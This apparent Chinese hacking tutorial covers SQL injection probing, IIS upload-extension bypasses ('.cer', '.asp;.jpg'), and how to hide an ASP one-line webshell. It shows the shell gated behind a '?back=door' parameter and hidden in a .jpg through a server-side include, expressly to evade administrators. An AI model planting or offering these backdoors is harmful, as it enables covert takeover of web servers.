WINDOWS2003常见攻击方法与后门隐藏 Windows2003是目前最主流的web服务器所使用的操作系统之一。对于入侵windows2003,一直都是诸黑客研究的话题。经过多次尝试与实验,我总结了几种攻击与防御的方法。(溢出攻击暂不作探讨) 入侵: 一、web脚本注入。这一直是让各种工程师头痛不已的问题。程序员在编写动态网页的时候,由于对字符的过滤不够严格,导致了用户可以提交非法命令对数据库进行操作,导致了数据的泄露,也使得黑客可以对数据库进行操作。一旦黑客找到了注入漏洞,通过查看数据库,可以列举当前web程序的管理员列表,直接导致网站控制权的沦陷。测试注入漏洞的方法一般都是在提交的变量值后加单引号“ ' ”,如果返回错误页面,十有八九就是有注入漏洞。进一步测试是否可以利用此漏洞,需要加语句“and 1=1”“and 1=2”一般情况下,如果可以利用,前者会返回正常页面,后者会返回错误页面。通常入侵网站的时候,黑客不会手工猜解数据库的内容,往往会用“啊D”“NBSI”“明小子”“穿山甲”这样的工具代替。 下面是一些图例: 这是正常页面。 加上单引号之后,出现了错误,原本应该显示出来的下载信息不见了。因为单引号在数据库查询的时候,没有闭合,也就是说,没有另外一个单引号和它凑成一对,导致了查询数据库出错,所以我们要调用的数据必然无法显示。 加上“and 1=1”以后,又返回正确的页面。为什么呢?因为逻辑上来说,“1”和“1”永远都是相等的,并且“1=1”永远成立,并且它和数据库查询语句是“and”关系,也就是逻辑“与”的关系,“and”两侧都为真,结果就为真,所以不会出错。 (穿山甲pangolin) 二、上传漏洞。这是非常古老的漏洞了。这种方法主要是利用web程序代码的缺陷,上传一些非法后缀名的文件。在windows系列家族中,一个文件以和何种方式读取或运行,全靠后缀名(也就是扩展名)来决定。因此,后缀是一个安全隐患相当大的问题。这里我只会讲解一些IIS对于文件扩展名的一些缺陷。IIS默认安装的时候,是可以执行asp文件的,执行asp文件需要asp.dll这个动态链接库来支持,asp.dll就相当于是服务器上的一个脚本解释器,把asp代码解释成html代码的程序。在IIS中,默认有以下四种扩展名的文件是被asp.dll支持的:asp、asa、cer、cdx。所以,过去一段时间里,程序员编写上传模块的时候只过滤了asp扩展名,所以,黑客一旦以另外几种扩展名保存后门文件,然后再上传,后果可是不堪设想的。 (虽然出错了,但是至少说明asp脚本已经被执行了) 还有一种扩展名解析的缺陷就是“.asp;.jpg”,如果说过滤后缀的算法是从右往左计算,那么这样的后缀也可以执行 以上两种扩展名解析的缺陷IIS7以上版本不受影响。 后门隐藏: 一、web页面backdoor的隐藏。通常入侵web服务器最主流的方法就是通过web页面的漏洞,获得IIS普通用户的权限,然后根据系统配置或者系统软件的漏洞再进一步提权,获得系统权限。所以对于web上的后门隐藏,就显得尤为重要。通常黑客都会使用“一句话木马”作为自己的后门,以便日后登陆主机使用。一般是把“<%execute request("x")%>”这样的一段代码保存为asp文件混在web目录中,虽然web目录中网页比较多,但是细心的管理员还是会发现。但是如果把代码隐藏在其他asp文件中,我想,再细心的管理员也不易察觉吧。如果直接把这句代码存于普通网页中,IIS会报错,如下: 这样一来,其他用户或者管理员访问到这个页面的时候,就会有这样的提示,太“醒目”了吧。所以我们需要修改一下代码。把以下代码加入普通网页: - <%
- if request("back") = "door" then
- Execute request("x")
- end if
- %>
复制代码这样一处理之后,直接访问这个页面是不会报错的: 但是如果加上“?back=door”,我们的后面代码才真正执行: 是因为执行了代码才会报错,变量没有值当然不对了。 二、用include方法来把木马包含进普通文件里。很简单,将一句话木马保存为jpg图片格式,通常这类格式不会被管理员关注,然后用<!--#include file="xx.jpg" -->将木马包含进去就可以了。访问的时候需要访问包含代码文件的网页。 建立好文件: 这里我把第一种和第二种方法综合起来了。构建好文件以后,访问包含代码的文件,效果和第一种方法一样。 测试一下是否可以执行asp脚本: 成功执行! 至此就介绍完了几种简单的web入侵与隐藏后门的方法。可见,在黑客入侵网站的时候,不管是多小的细节,也需要运用不少的知识。知己知彼,百战不殆。在做网站管理员的时候,一定要清楚黑客入侵的手段,否则就无法见招拆招了。
|